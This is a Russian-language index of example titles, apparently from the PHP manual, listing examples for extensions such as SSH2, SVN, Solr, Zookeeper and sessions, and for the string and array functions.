  • Example#4624 - Открытие консоли и получение связанного с ней потока STDERR
  • Example#4625 - Проверка отпечатка с известным значением
  • Example#4626 - Определим, какие методы согласованы
  • Example#4627 - Добавляем открытый ключ с помощью ssh2_publickey_add
  • Example#4628 - Список авторизованных ключей с помощью ssh2_publickey_list
  • Example#4629 - Загрузка файла через SCP
  • Example#4630 - Загрузка файла на сервер через SCP
  • Example#4631 - Изменение прав доступа к файлу
  • Example#4632 - Информация о символической ссылке
  • Example#4633 - Создание директории на удалённом сервере
  • Example#4634 - Чтение символической ссылки
  • Example#4635 - Определение полного пути
  • Example#4636 - Переименовывание файла
  • Example#4637 - Удаление директории на сервере
  • Example#4638 - Информация о файле
  • Example#4639 - Создание символической ссылки
  • Example#4640 - Удаление файла
  • Example#4641 - Открытие файла через SFTP
  • Example#4642 - Запрос интерактивного терминала
  • Example#4643 - Открытие туннеля по произвольному хосту
  • Example#4644 - Объектно-ориентированный стиль
  • Example#4645 - Процедурный стиль
  • Example#4646 - Пример использования stomp_connect_error
  • Example#4647 - Пример использования stomp_version
  • Example#4648 - Объектно-ориентированный стиль
  • Example#4649 - Процедурный стиль
  • Example#4650 - Объектно-ориентированный стиль
  • Example#4651 - Процедурный стиль
  • Example#4652 - Объектно-ориентированный стиль
  • Example#4653 - Процедурный стиль
  • Example#4654 - Объектно-ориентированный стиль
  • Example#4655 - Процедурный стиль
  • Example#4656 - Объектно-ориентированный стиль
  • Example#4657 - Процедурный стиль
  • Example#4658 - Объектно-ориентированный стиль
  • Example#4659 - Процедурный стиль
  • Example#4660 - Объектно-ориентированный стиль
  • Example#4661 - Процедурный стиль
  • Example#4662 - Объектно-ориентированный стиль
  • Example#4663 - Процедурный стиль
  • Example#4664 - Объектно-ориентированный стиль
  • Example#4665 - Процедурный стиль
  • Example#4666 - Обучение из массива
  • Example#4667 - Обучение из файла
  • Example#4668 - svn_add example
  • Example#4669 - Простой пример аутентификации
  • Example#4670 - Пример использования функции svn_blame
  • Example#4671 - Простой пример использования функции svn_cat()
  • Example#4672 - Простой пример
  • Example#4673 - Простой пример
  • Example#4674 - Простой пример
  • Example#4675 - Простой пример
  • Example#4676 - Простой пример
  • Example#4677 - Вывод различий между двумя ревизиями одного файла
  • Example#4678 - Более удобный способ вывода различий между двумя файла
  • Example#4679 - Пример использования svn_export
  • Example#4680 - Простой пример
  • Example#4681 - Пример использования svn_log
  • Example#4682 - Пример использования svn_ls
  • Example#4683 - Простой пример
  • Example#4684 - Базовый пример
  • Example#4685 - Запрет всех соединений с локального хоста
  • Example#4686 - Запретить URL
  • Example#4687 - Получить снимок статистики
  • Example#4688 - Прочитать журнал разделяемой памяти varnish
  • Example#4689 - Пример использования VarnishAdmin::__construct
  • Example#4690 - Параллельный поиск с помощью Yaz
  • Example#4691 - Настройка CCL
  • Example#4692 - Разбор CCL
  • Example#4693 - Пример использования Record Update
  • Example#4694 - Массив для записи GRS-1
  • Example#4695 - Пример работы с MARCXML
  • Example#4696 - Функция PHP которая сканирует заглавия
  • Example#4697 - Примеры запросов
  • Example#4698 - Критерии сортировки
  • Example#4699 - Пример использования ZMQContext
  • Example#4700 - Пример использования ZMQContext
  • Example#4701 - Пример использования ZMQContext
  • Example#4702 - Пример использования ZMQSocket
  • Example#4703 - Пример отправки/получения
  • Example#4704 - Пример использования ZMQPoll
  • Example#4705 - zookeeper_dispatch example #1
  • Example#4706 - Пример использования zookeeper_dispatch #2
  • Example#4707 - Пример использования Zookeeper::addAuth
  • Example#4708 - Пример использования Zookeeper::create
  • Example#4709 - Пример использования Zookeeper::delete
  • Example#4710 - Пример использования Zookeeper::exists
  • Example#4711 - Пример использования Zookeeper::get
  • Example#4712 - Пример использования stat Zookeeper::get
  • Example#4713 - Пример использования Zookeeper::getAcl
  • Example#4714 - Пример использования Zookeeper::getChildren
  • Example#4715 - Пример использования Zookeeper::set
  • Example#4716 - Пример использования Zookeeper::setAcl
  • Example#4717 - Пример использования Zookeeper::setDebugLevel
  • Example#4718 - Пример использования ZookeeperConfig::add
  • Example#4719 - Пример использования ZookeeperConfig::get
  • Example#4720 - Пример использования ZookeeperConfig::remove
  • Example#4721 - Пример использования ZookeeperConfig::set
  • Example#4722 - Пример использования solr_get_version
  • Example#4723 - Содержимое файла BootStrap
  • Example#4724 - Добавление документа в индекс
  • Example#4725 - Слияние одного документа с другим
  • Example#4726 - Поиск документов - ответы SolrObject
  • Example#4727 - Поиск документов - ответы SolrDocument
  • Example#4728 - Пример использования Simple TermsComponent
  • Example#4729 - Пример использования Simple TermsComponent - использование префикса
  • Example#4730 - Пример использования Simple TermsComponent - указание минимальной частоты
  • Example#4731 - Пример использования Simple Facet
  • Example#4732 - Пример использования Simple Facet - с необязательным переопределением поля для mincount
  • Example#4733 - Пример использования Facet Date
  • Example#4734 - Подключение к серверу с поддержкой SSL
  • Example#4735 - Сворачивание SolrQuery
  • Example#4736 - Пример использования Solr Real Time Get (RTG) SolrClient::getById
  • Example#4737 - Пример использования SolrInputDocument::addChildDocument
  • Example#4738 - Пример использования SolrInputDocument::addChildDocuments
  • Example#4739 - Пример использования SolrDocument::toArray
  • Example#4740 - Пример использования SolrObject::__construct
  • Example#4741 - Пример использования SolrObject::offsetUnset
  • Example#4742 - Пример использования SolrClient::addDocument
  • Example#4743 - Пример использования SolrClient::addDocument #2
  • Example#4744 - Пример использования SolrClient::addDocuments
  • Example#4745 - Пример использования SolrClient::__construct
  • Example#4746 - Пример использования SolrQuery::deleteByQuery
  • Example#4747 - Пример использования SolrClient::getById
  • Example#4748 - Пример использования SolrClient::getByIds
  • Example#4749 - Пример использования SolrClient::ping
  • Example#4750 - Пример использования SolrClient::query
  • Example#4751 - Пример использования метода SolrClient::request
  • Example#4752 - Пример использования SolrClient::setResponseWriter
  • Example#4753 - Пример использования SolrParams::setParam
  • Example#4754 - Пример использования SolrQuery::addFacetField
  • Example#4755 - Пример использования SolrQuery::addFacetField
  • Example#4756 - Пример использования SolrQuery::addFilterQuery
  • Example#4757 - Пример использования SolrQuery::addGroupSortField
  • Example#4758 - Пример использования SolrQuery::collapse
  • Example#4759 - Пример использования SolrQuery::setExpand
  • Example#4760 - Пример использования SolrDisMaxQuery::addBigramPhraseField
  • Example#4761 - Пример использования SolrDisMaxQuery::addBoostQuery
  • Example#4762 - Пример использования SolrDisMaxQuery::addPhraseField
  • Example#4763 - Пример использования SolrDisMaxQuery::addQueryField
  • Example#4764 - Пример использования SolrDisMaxQuery::addTrigramPhraseField
  • Example#4765 - Пример использования SolrDisMaxQuery::addUserField
  • Example#4766 - Пример использования SolrDisMaxQuery::__construct
  • Example#4767 - Пример использования SolrDisMaxQuery::removeBigramPhraseField
  • Example#4768 - Пример использования SolrDisMaxQuery::removeBoostQuery
  • Example#4769 - Пример использования SolrDisMaxQuery::removePhraseField
  • Example#4770 - Пример использования SolrDisMaxQuery::removeQueryField
  • Example#4771 - Пример использования SolrDisMaxQuery::removeTrigramPhraseField
  • Example#4772 - Пример использования SolrDisMaxQuery::removeUserField
  • Example#4773 - Пример использования SolrDisMaxQuery::setBigramPhraseFields
  • Example#4774 - Пример использования SolrDisMaxQuery::setBigramPhraseSlop
  • Example#4775 - Пример использования SolrDisMaxQuery::setBoostFunction
  • Example#4776 - Пример использования SolrDisMaxQuery::setBoostQuery
  • Example#4777 - Пример использования SolrDisMaxQuery::setMinimumMatch
  • Example#4778 - Пример использования SolrDisMaxQuery::setPhraseFields
  • Example#4779 - Пример использования SolrDisMaxQuery::setPhraseSlop
  • Example#4780 - Пример использования SolrDisMaxQuery::setQueryAlt
  • Example#4781 - Пример использования SolrDisMaxQuery::setQueryPhraseSlop
  • Example#4782 - Пример использования SolrDisMaxQuery::setTieBreaker
  • Example#4783 - Пример использования SolrDisMaxQuery::setTrigramPhraseFields
  • Example#4784 - Пример использования SolrDisMaxQuery::setTrigramPhraseSlop
  • Example#4785 - Пример использования SolrDisMaxQuery::setUserFields
  • Example#4786 - Пример использования SolrDisMaxQuery::useDisMaxQueryParser
  • Example#4787 - Пример использования SolrDisMaxQuery::useEDisMaxQueryParser
  • Example#4788 - Пример использования SolrCollapseFunction::__construct
  • Example#4789 - Пример использования SolrCollapseFunction::setHint
  • Example#4790 - Пример использования SolrCollapseFunction::setMax
  • Example#4791 - Отключение парсера PHP для директории при помощи .htaccess
  • Example#4792 - Пример использования apache_get_modules
  • Example#4793 - Пример использования apache_get_version
  • Example#4794 - Пример использования apache_getenv
  • Example#4795 - Пример использования apache_lookup_uri
  • Example#4796 - Пример передачи информации между PHP и Perl
  • Example#4797 - Пример записи значений в access.log
  • Example#4798 - Пример использования apache_request_headers
  • Example#4799 - Пример использования apache_response_headers
  • Example#4800 - Пример использования apache_setenv для установки переменной окружения Apache.
  • Example#4801 - Пример использования getallheaders
  • Example#4802 - Регистрация переменной с помощью $_SESSION.
  • Example#4803 - Отмена объявления переменной с помощью $_SESSION.
  • Example#4804 - Подсчёт количества посещений конкретного пользователя
  • Example#4805 - Пример
  • Example#4806 - Пример использования session_cache_expire
  • Example#4807 - Пример использования session_cache_limiter
  • Example#4808 - Пример использования session_create_id с функцией session_regenerate_id
  • Example#4809 - Уничтожение сессии с помощью $_SESSION
  • Example#4810 - Пример использования session_gc в диспетчерах задач, таких как cron
  • Example#4811 - Пример использования session_gc в скрипте, доступном пользователю
  • Example#4812 - Пример использования session_name
  • Example#4813 - Пример использования session_regenerate_id
  • Example#4814 - Как избежать потери сессии при использовании session_regenerate_id
  • Example#4815 - Пользовательский обработчик сессии: полный код смотрите в описании SessionHandlerInterface.
  • Example#4816 - page1.php
  • Example#4817 - page2.php
  • Example#4818 - Переопределение времени жизни cookie
  • Example#4819 - Чтение и закрытие сессии
  • Example#4820 - Пример использования класса SessionHandler для добавления шифрования внутренним обработчикам сохранения PHP
  • Example#4821 - Пример использования класса SessionHandlerInterface
  • Example#4822 - Токенизация списка целых чисел через запятую
  • Example#4823 - Токенизировать оператор присваивания
  • Example#4824 - Простой калькулятор
  • Example#4825 - Разобрать слова из предложения
  • Example#4826 - Примеры правильных шаблонов
  • Example#4827 - Примеры неправильных шаблонов
  • Example#4828 - Использование комментариев в шаблоне PCRE
  • Example#4829 - Пример для сравнения функций preg_filter и preg_replace
  • Example#4830 - Пример использования preg_grep
  • Example#4831 - Пример использования preg_last_error_msg
  • Example#4832 - Пример использования preg_last_error
  • Example#4833 - Получение всех телефонных номеров из текста.
  • Example#4834 - Жадный поиск совпадений с HTML-тэгами
  • Example#4835 - Работа с именованными подшаблонами
  • Example#4836 - Поиск подстроки "php" в тексте
  • Example#4837 - Поиск слова "web" в тексте
  • Example#4838 - Извлечение доменного имени из URL
  • Example#4839 - Использование именованных подмасок
  • Example#4840 - Пример использования preg_quote
  • Example#4841 - Выделение курсивом слова в тексте
  • Example#4842 - Пример использования preg_replace_callback_array
  • Example#4843 - preg_replace_callback и анонимная функция
  • Example#4844 - Пример использования preg_replace_callback
  • Example#4845 - Рекурсивная обработка BB-кодов с помощью preg_replace_callback
  • Example#4846 - Пример обратных ссылок, за которыми следуют числовые литералы
  • Example#4847 - Пример обработки функцией preg_replace индексных массивов
  • Example#4848 - Пример замены ряда значений по набору шаблонов
  • Example#4849 - Пример удаления пробелов
  • Example#4850 - Пример с параметром count
  • Example#4851 - preg_split пример: Получение подстрок из заданного текста
  • Example#4852 - Разбиваем строку на составляющие символы
  • Example#4853 - Разбиваем строку с указанием смещения для каждой из найденных подстрок
  • Example#4854 - Пример использования addcslashes
  • Example#4855 - Пример использования addslashes
  • Example#4856 - Пример использования функции bin2hex
  • Example#4857 - Пример использования chr
  • Example#4858 - Поведение при переполнении
  • Example#4859 - Создание строки UTF-8 из индивидуальных байтов
  • Example#4860 - Пример использования chunk_split
  • Example#4861 - Пример использования convert_uudecode
  • Example#4862 - Пример использования convert_uuencode
  • Example#4863 - Пример использования count_chars
  • Example#4864 - Вывод контрольной суммы CRC32
  • Example#4865 - Пример использования crypt
  • Example#4866 - Использование crypt с различными видами хешей
  • Example#4867 - Примеры использования языковой конструкции echo
  • Example#4868 -
  • Example#4869 - Пример использования функции explode
  • Example#4870 - Пример значения, которое возвращает функция explode
  • Example#4871 - Примеры работы функции с параметром limit
  • Example#4872 - fprintf: заполнение нулями
  • Example#4873 - fprintf: форматирование денежных величин
  • Example#4874 - Пример таблицы преобразований
  • Example#4875 - Пример использования функции hex2bin
  • Example#4876 - Декодирование HTML-сущностей
  • Example#4877 - Пример использования функции htmlentities
  • Example#4878 - Передача флага ENT_IGNORE
  • Example#4879 - Пример использования функции htmlspecialchars_decode
  • Example#4880 - Пример использования функции htmlspecialchars
  • Example#4881 - Пример использования функции implode
  • Example#4882 - Пример использования lcfirst
  • Example#4883 - Пример использования levenshtein
  • Example#4884 - Пример использования localeconv
  • Example#4885 - Пример использования ltrim
  • Example#4886 - Пример использования md5_file
  • Example#4887 - Пример использования md5
  • Example#4888 - Простой пример использования metaphone
  • Example#4889 - Использование параметра max_phonemes
  • Example#4890 - Использование параметра max_phonemes
  • Example#4891 - Пример использования money_format
  • Example#4892 - Пример использования nl_langinfo
  • Example#4893 - Пример использования nl2br
  • Example#4894 - Генерирование корректной HTML-вёрстки с помощью параметра use_xhtml
  • Example#4895 - Различные разделители строк
  • Example#4896 - Пример использования функции number_format
  • Example#4897 - Пример использования ord
  • Example#4898 - Просмотр индивидуальный байтов строки UTF-8
  • Example#4899 - Использование parse_str
  • Example#4900 - Соотношение имён parse_str
  • Example#4901 - Примеры использования языковой конструкции print
  • Example#4902 -
  • Example#4903 -
  • Example#4904 - printf: различные примеры
  • Example#4905 - printf: спецификаторы строки
  • Example#4906 - Пример использования quoted_printable_decode
  • Example#4907 - Пример использования quoted_printable_encode
  • Example#4908 - Пример использования quotemeta
  • Example#4909 - Пример использования rtrim
  • Example#4910 - Примеры использования функции setlocale
  • Example#4911 - Примеры использования функции setlocale в ОС Windows
  • Example#4912 - Пример использования sha1_file
  • Example#4913 - Пример использования sha1
  • Example#4914 - Пример использования similar_text с заменой аргументов
  • Example#4915 - Примеры использования soundex
  • Example#4916 - Argument swapping
  • Example#4917 - Использование символа заполнения
  • Example#4918 - Спецификатор позиции в комбинации с другими спецификаторами
  • Example#4919 - sprintf: целое с лидирующими нулями
  • Example#4920 - sprintf: форматирование денежных единиц
  • Example#4921 - sprintf: научная нотация
  • Example#4922 - Пример использования sscanf
  • Example#4923 - sscanf - использование необязательных аргументов
  • Example#4924 - Пример использования пустой строки ''
  • Example#4925 - Демонстрация чувствительности к регистру
  • Example#4926 - Базовый пример использования str_decrement
  • Example#4927 - Пример использования str_decrement с переносом (уменьшением высшего разряда или разрядности)
  • Example#4928 - Использование пустой строки ''
  • Example#4929 - Демонстрация чувствительности к регистру
  • Example#4930 - Пример использования функции str_getcsv
  • Example#4931 - Пример использования функции str_getcsv с пустой строкой
  • Example#4932 - Базовый пример использования str_increment
  • Example#4933 - Пример использования str_increment с переносом (увеличением высшего разряда или разрядности)
  • Example#4934 - Пример использования функции str_ireplace
  • Example#4935 - Пример использования str_pad
  • Example#4936 - Пример использования str_repeat
  • Example#4937 - Примеры использования функции str_replace
  • Example#4938 - Примеры неочевидного поведения функции str_replace
  • Example#4939 - Пример использования str_rot13
  • Example#4940 - Пример использования str_shuffle
  • Example#4941 - Пример использования функции str_split
  • Example#4942 - Использование пустой строки ''
  • Example#4943 - Демонстрация чувствительности к регистру
  • Example#4944 - Пример использования str_word_count
  • Example#4945 - Пример использования strcasecmp
  • Example#4946 - Пример использования strcmp
  • Example#4947 - Пример использования strcspn
  • Example#4948 - Пример использования strip_tags
  • Example#4949 - Пример использования stripcslashes
  • Example#4950 - Пример использования stripos
  • Example#4951 - Пример использования функции stripslashes
  • Example#4952 - Пример работы функции stripslashes с массивом
  • Example#4953 - Пример использования функции stristr
  • Example#4954 - Проверка на вхождение строки
  • Example#4955 - Пример работы функции с нестроковой «иглой»
  • Example#4956 - Пример использования функции strlen
  • Example#4957 - Пример использования strnatcasecmp
  • Example#4958 - Пример использования strncasecmp
  • Example#4959 - strncmp example
  • Example#4960 - Пример использования strpbrk
  • Example#4961 - Использование ===
  • Example#4962 - Использование !==
  • Example#4963 - Использование смещения
  • Example#4964 - Пример использования strrchr
  • Example#4965 - Пример использования strrev
  • Example#4966 - Пример использования strripos
  • Example#4967 - Проверка существования искомой строки
  • Example#4968 - Поиск со смещением
  • Example#4969 - Пример использования strspn
  • Example#4970 - Пример использования функции strstr
  • Example#4971 - Пример использования функции strtok
  • Example#4972 - Способ обработки пустых подстрок функцией strtok
  • Example#4973 - Отличие функции strtok от функции explode
  • Example#4974 - Пример использования strtolower
  • Example#4975 - Пример использования strtoupper
  • Example#4976 - Пример использования strtr
  • Example#4977 - Пример использования strtr с двумя аргументами
  • Example#4978 - Сравнение поведения функции strtr
  • Example#4979 - Пример использования substr_compare
  • Example#4980 - Пример использования substr_count
  • Example#4981 - Простой пример использования substr_replace
  • Example#4982 - Использование substr_replace для одновременной множественной замены строк
  • Example#4983 - Пример с отрицательным смещением offset
  • Example#4984 - Пример с отрицательным значением параметра length
  • Example#4985 - Базовое использование функции substr
  • Example#4986 - Функция substr и приведение типов
  • Example#4987 - Недопустимый диапазон символов
  • Example#4988 - Пример использования trim
  • Example#4989 - Обрезание значений массива с помощью trim
  • Example#4990 - Пример использования функции ucfirst
  • Example#4991 - Пример использования ucwords
  • Example#4992 - Пример ucwords с заданным разделителем
  • Example#4993 - Пример использования ucwords с дополнительными разделителями
  • Example#4994 - Простой пример
  • Example#4995 - Простой пример
  • Example#4996 - vfprintf: дополнение нулями целых чисел
  • Example#4997 - vprintf: дополнение нулями целых чисел
  • Example#4998 - vsprintf: дополнение нулями целых чисел
  • Example#4999 - Пример использования wordwrap
  • Example#5000 - Пример использования wordwrap
  • Example#5001 - Пример использования wordwrap
  • Example#5002 - Пример использования array_change_key_case
  • Example#5003 - Пример использования функции array_chunk
  • Example#5004 - Получим столбец с именами из набора записей
  • Example#5005 - Получим столбец фамилий из набора записей, проиндексировав их значениями столбца «id»
  • Example#5006 - Получим столбец имён пользователей из общедоступного свойства «username» объекта
  • Example#5007 - Получим столбец имён пользователей из приватного свойства «name» объекта, определив магический метод __get.
  • Example#5008 - Простой пример использования array_combine
  • Example#5009 - Пример использования функции array_count_values
  • Example#5010 - Пример использования array_diff_assoc
  • Example#5011 - Пример использования array_diff_assoc
  • Example#5012 - Пример использования array_diff_key
  • Example#5013 - Пример использования array_diff_uassoc
  • Example#5014 - Пример использования array_diff_ukey
  • Example#5015 - Пример использования array_diff
  • Example#5016 - Пример использования array_diff с несовпадающими типами
  • Example#5017 - Пример использования array_fill_keys
  • Example#5018 - Пример использования функции array_fill
  • Example#5019 - Пример использования функции array_fill с отрицательным начальным индексом
  • Example#5020 - Пример использования array_filter
  • Example#5021 - Использование array_filter без callback-функции
  • Example#5022 - array_filter с указанным mode
  • Example#5023 - Пример использования array_flip
  • Example#5024 - Пример использования array_flip с коллизиями
  • Example#5025 - Пример использования функции array_intersect_assoc
  • Example#5026 - Пример использования функции array_intersect_key
  • Example#5027 - Пример использования функции array_intersect_uassoc
  • Example#5028 - Пример использования фукции array_intersect_ukey
  • Example#5029 - Пример использования функции array_intersect
  • Example#5030 - Пример использования array_is_list
  • Example#5031 - Пример использования функции array_key_exists
  • Example#5032 - Пример использования функции array_key_exists с языковой конструкцией isset
  • Example#5033 - Пример использования array_key_first
  • Example#5034 - Пример использования функции array_keys
  • Example#5035 - Пример использования array_map
  • Example#5036 - Использование array_map вместе с лямбда-функцией
  • Example#5037 - Пример использования array_map: обработка нескольких массивов
  • Example#5038 - Выполнение zip операции с массивами
  • Example#5039 - null callback только с array
  • Example#5040 - Использование array_map со строковыми ключами
  • Example#5041 - array_map - ассоциативные массивы
  • Example#5042 - Пример использования функции array_merge_recursive
  • Example#5043 - Пример использования функции array_merge
  • Example#5044 - Простой пример использования функции array_merge
  • Example#5045 - Пример использования функции array_merge не с массивами
  • Example#5046 - Сортировка нескольких массивов
  • Example#5047 - Сортировка многомерного массива
  • Example#5048 - Сортировка результатов из базы данных
  • Example#5049 - Сортировка без учёта регистра
  • Example#5050 - Пример использования array_pad
  • Example#5051 - Пример использования array_pop
  • Example#5052 - Примеры использования функции array_product
  • Example#5053 - Пример использования array_push
  • Example#5054 - Пример использования функции array_rand
  • Example#5055 - Пример использования array_reduce
  • Example#5056 - Пример использования array_replace_recursive
  • Example#5057 - array_replace_recursive и рекурсивное поведение
  • Example#5058 - Пример использования array_replace
  • Example#5059 - Пример использования array_reverse
  • Example#5060 - Пример использования функции array_search
  • Example#5061 - Пример использования array_shift
  • Example#5062 - Пример использования array_slice
  • Example#5063 - Пример использования array_slice с одномерным массивом
  • Example#5064 - Пример использования array_slice с массивом из смешанных ключей
  • Example#5065 - Примеры использования array_splice
  • Example#5066 - Примеры использования array_splice
  • Example#5067 - Пример использования функции array_sum
  • Example#5068 - Пример использования функции array_udiff_assoc
  • Example#5069 - Пример использования функции array_udiff_uassoc
  • Example#5070 - Пример использования функции array_udiff с объектами класса stdClass
  • Example#5071 - Пример использования функции array_udiff с объектами класса DateTime
  • Example#5072 - Пример использования функции array_uintersect_assoc
  • Example#5073 - Пример использования функции array_uintersect_uassoc
  • Example#5074 - Пример использования функции array_uintersect
  • Example#5075 - Пример использования array_unique
  • Example#5076 - array_unique и типы:
  • Example#5077 - Пример использования array_unshift
  • Example#5078 - Пример использования с ассоциативными массивами
  • Example#5079 - Пример использования функции array_values
  • Example#5080 - Пример использования array_walk_recursive
  • Example#5081 - Пример использования array_walk
  • Example#5082 - Пример использования array_walk с анонимной функцией
  • Example#5083 - Пример использования языковой конструкции array
  • Example#5084 - Автоматическая индексация при вызове конструкции array
  • Example#5085 - Пример создания конструкцией array массива, нумерация которого начинается с 1
  • Example#5086 - Доступ к массиву внутри двойных кавычек
  • Example#5087 - Пример использования функции arsort
  • Example#5088 - Пример использования функции asort
  • Example#5089 - Пример использования compact
  • Example#5090 - Пример использования функции count
  • Example#5091 - Пример использования функции count с неисчисляемым типом (плохой пример — не делайте так)
  • Example#5092 - Пример рекурсивного использования функции count
  • Example#5093 - Объект, который реализует интерфейс Countable
  • Example#5094 - Пример использования функции current и дружественных функций
  • Example#5095 - Примеры использования функции each
  • Example#5096 - Обход массива функцией each
  • Example#5097 - Пример использования функции end
  • Example#5098 - Пример использования функции extract
  • Example#5099 - Пример использования in_array
  • Example#5100 - Пример использования in_array с параметром strict
  • Example#5101 - Пример использования in_array с массивом в качестве параметра needle
  • Example#5102 - Пример использования функции key
  • Example#5103 - Пример использования функции krsort
  • Example#5104 - Пример использования ksort
  • Example#5105 - ksort с числовыми (int) ключами
  • Example#5106 - Примеры использования конструкции list
  • Example#5107 - Пример использования конструкции list
  • Example#5108 - Использование list с индексами массивов
  • Example#5109 - Конструкция list и порядок указания индексов
  • Example#5110 - list с ключами
  • Example#5111 - Пример использования функции natcasesort
  • Example#5112 - Простой пример использования natsort
  • Example#5113 - Примеры показывают ошибки, которые возникают при использовании функции natsort
  • Example#5114 - Пример использования функции next и дружественных функций
  • Example#5115 - Пример использования функции prev и дружественных функций
  • Example#5116 - Примеры использования range
  • Example#5117 - Пример использования функции reset
  • Example#5118 - Пример использования функции rsort
  • Example#5119 - Пример использования shuffle
  • Example#5120 - Пример использования sort
  • Example#5121 - Пример использования sort с регистронезависимым естественным упорядочением
  • Example#5122 - Простой пример использования функции uasort
  • Example#5123 - Пример использования функции uksort
  • Example#5124 - Пример использования usort
  • Example#5125 - Пример использования функции usort с многомерными массивами
  • Example#5126 - Пример использования usort с методом класса
  • Example#5127 - Пример использования функции usort с применением анонимной функции для сортировки многомерного массива
  • Example#5128 - Пример использования usort с оператором spaceship (космический корабль)
  • Example#5129 - Определения классов
  • Example#5130 - test_script.php
  • Example#5131 - Пример использования функции class_alias
  • Example#5132 - Пример использования функции class_exists
  • Example#5133 - Пример использования c параметром autoload
  • Example#5134 - Пример использования функции enum_exists
  • Example#5135 - Пример использования функции get_called_class
  • Example#5136 - Пример использования функции get_class_methods
  • Example#5137 - Пример использования функции get_class_vars
  • Example#5138 - Пример поведения функции get_class_vars в разных областях видимости
  • Example#5139 - Пример использования функции get_class
  • Example#5140 - Вызов функции get_class в родительском классе
  • Example#5141 - Вызов функции get_class с классами в пространствах имён
  • Example#5142 - Пример использования функции get_declared_classes
  • Example#5143 - Пример использования функции get_declared_interfaces
  • Example#5144 - Пример использования функции get_mangled_object_vars
  • Example#5145 - Пример использования get_object_vars
  • Example#5146 - Пример использования функции get_parent_class
  • Example#5147 - Пример использования interface_exists
  • Example#5148 - Пример использования функции is_a
  • Example#5149 - Использование оператора instanceof
  • Example#5150 - Пример использования функции is_subclass_of
  • Example#5151 - Пример использования функции is_subclass_of с интерфейсами
  • Example#5152 - Пример использования функции method_exists
  • Example#5153 - Пример статического использования method_exists
  • Example#5154 - Пример использования функции property_exists
  • Example#5155 - Пример использования функции ctype_alnum (с выбором локали по умолчанию)
  • Example#5156 - Пример использования функции ctype_alpha (с выбором локали по умолчанию)
  • Example#5157 - Пример использования функции ctype_cntrl
  • Example#5158 - Пример использования ctype_digit
  • Example#5159 - Пример использования ctype_digit со сравнением строк и целых чисел
  • Example#5160 - Пример использования функции ctype_graph
  • Example#5161 - Пример использования функции ctype_lower (с использованием локали по умолчанию)
  • Example#5162 - Пример использования функции ctype_print
  • Example#5163 - Пример использования функции ctype_punct
  • Example#5164 - Пример использования функции ctype_space
  • Example#5165 - Пример использования функция ctype_upper (с выбором локали по умолчанию)
  • Example#5166 - Пример использования функции ctype_xdigit
  • Example#5167 - Настройка фильтра по умолчанию для работы аналогично функции htmlspecialchars
  • Example#5168 - Настройка фильтра по умолчанию для работы аналогично функции htmlspecialchars
  • Example#5169 - Валидация e-mail адреса, используя функцию filter_var
  • Example#5170 - Валидация IP-адреса, используя функцию filter_var
  • Example#5171 - Дополнительные параметры функции filter_var
  • Example#5172 - Нормализация и валидация e-mail адресов
  • Example#5173 - Настройка фильтра по умолчанию
  • Example#5174 - Пример использования filter_input_array
  • Example#5175 - Пример использования функции filter_input
  • Example#5176 - Пример использования filter_list
  • Example#5177 - Пример использования filter_var_array
  • Example#5178 - Пример использования функции filter_var
  • Example#5179 - Пример фильтрации массива
  • Example#5180 - Пример использования функции call_user_func_array
  • Example#5181 - Пример использования call_user_func_array c именем пространства имён
  • Example#5182 - Использование лямбда-функции
  • Example#5183 - Передача значений по ссылке
  • Example#5184 - Пример использования call_user_func_array с именованными аргументами
  • Example#5185 - Пример использования call_user_func и ссылки
  • Example#5186 - Пример использования call_user_func
  • Example#5187 - Использование call_user_func, используя пространства имён
  • Example#5188 - Вызов метода класса с помощью call_user_func
  • Example#5189 - Использование лямбда-функции с call_user_func
  • Example#5190 - Создание функции динамически с помощью create_function или анонимных функций
  • Example#5191 - Создание общей функции-обработчика с помощью create_function или анонимных функций
  • Example#5192 - Использование динамических функций в качестве callback-функций
  • Example#5193 - Пример использования forward_static_call_array
  • Example#5194 - Пример использования forward_static_call
  • Example#5195 - Пример использования функции func_get_arg
  • Example#5196 - Пример передачи в функцию func_get_arg аргументов по ссылке и по значению
  • Example#5197 - Пример использования функции func_get_args
  • Example#5198 - Пример передачи в функцию func_get_args аргументов по ссылке и по значению
  • Example#5199 - Пример использования func_num_args
  • Example#5200 - Пример использования function_exists
  • Example#5201 - Пример использования функции get_defined_functions
  • Example#5202 - Пример использования register_shutdown_function
  • Example#5203 - Пример использования register_tick_function
  • Example#5204 - Пример использования Quickhash
  • Example#5205 - Пример использования Quickhash ArrayAccess
  • Example#5206 - Пример использования Quickhash Iterator
  • Example#5207 - Пример использования Quickhash String Values
  • Example#5208 - Пример использования QuickHashIntSet::add
  • Example#5209 - Пример использования QuickHashIntSet::__construct
  • Example#5210 - Пример использования QuickHashIntSet::delete
  • Example#5211 - Пример использования QuickHashIntSet::exists
  • Example#5212 - Пример использования QuickHashIntSet::getSize
  • Example#5213 - Пример использования QuickHashIntSet::loadFromFile
  • Example#5214 - Пример использования QuickHashIntSet::loadFromString
  • Example#5215 - Пример использования QuickHashIntSet::saveToFile
  • Example#5216 - Пример использования QuickHashIntSet::saveToString
  • Example#5217 - Пример использования QuickHashIntHash::add
  • Example#5218 - Пример использования QuickHashIntHash::__construct
  • Example#5219 - Пример использования QuickHashIntHash::delete
  • Example#5220 - Пример использования QuickHashIntHash::exists
  • Example#5221 - Пример использования QuickHashIntHash::get
  • Example#5222 - Пример использования QuickHashIntHash::getSize
  • Example#5223 - Формат файла QuickHash IntHash
  • Example#5224 - Формат файла QuickHash IntHash
  • Example#5225 - Пример использования QuickHashIntHash::loadFromFile
  • Example#5226 - Пример использования QuickHashIntHash::loadFromString
  • Example#5227 - Пример использования QuickHashIntHash::saveToFile
  • Example#5228 - Пример использования QuickHashIntHash::saveToString
  • Example#5229 - Пример использования QuickHashIntHash::set
  • Example#5230 - Пример использования QuickHashIntHash::update
  • Example#5231 - Пример использования QuickHashStringIntHash::add
  • Example#5232 - Пример использования QuickHashStringIntHash::__construct
  • Example#5233 - Пример использования QuickHashStringIntHash::delete
  • Example#5234 - Пример использования QuickHashStringIntHash::get
  • Example#5235 - Пример использования QuickHashStringIntHash::getSize
  • Example#5236 - Формат файла QuickHash StringIntHash
  • Example#5237 - Формат файла QuickHash IntHash
  • Example#5238 - Пример использования QuickHashStringIntHash::loadFromFile
  • Example#5239 - Пример использования QuickHashStringIntHash::loadFromString
  • Example#5240 - Пример использования QuickHashStringIntHash::saveToFile
  • Example#5241 - Пример использования QuickHashStringIntHash::saveToString
  • Example#5242 - Пример использования QuickHashStringIntHash::set
  • Example#5243 - Пример использования QuickHashStringIntHash::update
